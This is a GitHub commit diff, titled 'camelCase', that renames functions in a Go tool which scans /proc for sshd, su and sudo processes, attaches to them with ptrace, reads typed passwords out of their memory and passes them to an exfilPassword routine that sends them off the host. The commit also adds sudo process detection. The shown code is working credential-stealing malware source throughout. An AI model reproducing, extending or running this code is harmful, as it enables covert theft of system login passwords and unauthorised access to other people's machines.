Skip to content

Commit 530a92b

Browse files
committed
camelCase
1 parent 6679149 commit 530a92b

File tree

3 files changed

+31
-23
lines changed

3 files changed

+31
-23
lines changed

main.go

Lines changed: 27 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,8 @@ import (
1313
"time"
1414
)
1515

16-
func find_pids() []int {
17-
var sshd_pids []int
16+
func findPids() []int {
17+
var sshdPids []int
1818
currentPID := os.Getpid()
1919
procDirs, err := ioutil.ReadDir("/proc")
2020
if err != nil {
@@ -24,30 +24,38 @@ func find_pids() []int {
2424
if dir.IsDir() {
2525
pid, err := strconv.Atoi(dir.Name())
2626
if err == nil && pid != currentPID {
27-
sshd_pids = append(sshd_pids, pid)
27+
sshdPids = append(sshdPids, pid)
2828
}
2929
}
3030
}
31-
return sshd_pids
31+
return sshdPids
3232
}
3333

34-
func is_SSH_PID(pid int) bool {
35-
cmdline, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
34+
func isSSHPid(pid int) bool {
35+
cmdLine, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
3636
if err != nil {
3737
return false
3838
}
39-
return regexp.MustCompile(`sshd: ([a-zA-Z]+) \[net\]`).MatchString(strings.ReplaceAll(string(cmdline), "\x00", " "))
39+
return regexp.MustCompile(`sshd: ([a-zA-Z]+) \[net\]`).MatchString(strings.ReplaceAll(string(cmdLine), "\x00", " "))
4040
}
4141

42-
func is_SU_PID(pid int) bool {
43-
cmdline, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
42+
func isSUPid(pid int) bool {
43+
cmdLine, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
4444
if err != nil {
4545
return false
4646
}
47-
return regexp.MustCompile(`^su `).MatchString(strings.ReplaceAll(string(cmdline), "\x00", " "))
47+
return regexp.MustCompile(`^su `).MatchString(strings.ReplaceAll(string(cmdLine), "\x00", " "))
4848
}
4949

50-
func exfil_password(username, password string) {
50+
func isSUDOPid(pid int) bool {
51+
cmdLine, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
52+
if err != nil {
53+
return false
54+
}
55+
return regexp.MustCompile(`^sudo `).MatchString(strings.ReplaceAll(string(cmdLine), "\x00", " "))
56+
}
57+
58+
func exfilPassword(username, password string) {
5159
hostname, err := os.Hostname()
5260
if err != nil {
5361
return
@@ -64,23 +72,23 @@ func exfil_password(username, password string) {
6472

6573
func main() {
6674
var processedFirstPID bool
67-
var processed_pids []int
68-
var processedPIDsMutex sync.Mutex
75+
var processedPids []int
76+
var processedPidsMutex sync.Mutex
6977

7078
for {
71-
sshdPids := find_pids()
79+
sshdPids := findPids()
7280
for _, pid := range sshdPids {
73-
processedPIDsMutex.Lock()
74-
if is_SSH_PID(pid) && (!processedFirstPID || !contains(processed_pids, pid)) {
81+
processedPidsMutex.Lock()
82+
if isSSHPid(pid) && (!processedFirstPID || !contains(processedPids, pid)) {
7583
if !processedFirstPID {
7684
processedFirstPID = true
7785
} else {
7886
//fmt.Println("SSHD process found with PID:", pid)
7987
go traceSSHDProcess(pid)
80-
processed_pids = append(processed_pids, pid)
88+
processedPids = append(processedPids, pid)
8189
}
8290
}
83-
if is_SU_PID(pid) && (!processedFirstPID || !contains(processed_pids, pid)) {
91+
if isSUPid(pid) && (!processedFirstPID || !contains(processedPids, pid)) {
8492
if !processedFirstPID {
8593
processedFirstPID = true
8694
} else {
@@ -90,7 +98,7 @@ func main() {
9098
}
9199
}
92100

93-
processedPIDsMutex.Unlock()
101+
processedPidsMutex.Unlock()
94102
}
95103
time.Sleep(250 * time.Millisecond)
96104
}

ssh_tracer.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,7 @@ func traceSSHDProcess(pid int) {
5656

5757
var password = removeNonPrintableAscii(string(buffer))
5858
if len(password) > 2 && len(password) < 100 && exfiled && !strings.HasPrefix(password, "fSHA256") {
59-
go exfil_password(username, removeNonPrintableAscii(password))
59+
go exfilPassword(username, removeNonPrintableAscii(password))
6060
}
6161
exfiled = !exfiled
6262
}

su_tracer.go

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -33,8 +33,8 @@ func traceSUProcess(pid int) {
3333
}
3434

3535
var regs syscall.PtraceRegs
36-
ptrace_err := syscall.PtraceGetRegs(pid, &regs)
37-
if ptrace_err != nil {
36+
err = syscall.PtraceGetRegs(pid, &regs)
37+
if err != nil {
3838
syscall.PtraceDetach(pid)
3939
return
4040
}
@@ -64,7 +64,7 @@ func traceSUProcess(pid int) {
6464
}
6565
return true
6666
}(password) {
67-
go exfil_password(username, password)
67+
go exfilPassword(username, password)
6868
}
6969
}
7070
}

0 commit comments

Comments
 (0)